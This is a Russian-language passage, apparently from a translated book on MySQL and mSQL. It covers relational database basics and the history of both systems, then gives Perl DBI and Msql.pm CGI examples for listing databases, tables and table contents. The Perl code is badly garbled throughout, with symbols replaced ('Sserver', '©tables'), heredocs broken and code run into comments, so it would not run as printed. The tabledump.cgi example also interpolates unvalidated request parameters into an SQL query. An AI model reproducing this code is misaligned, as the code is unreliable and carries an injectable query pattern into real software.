    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

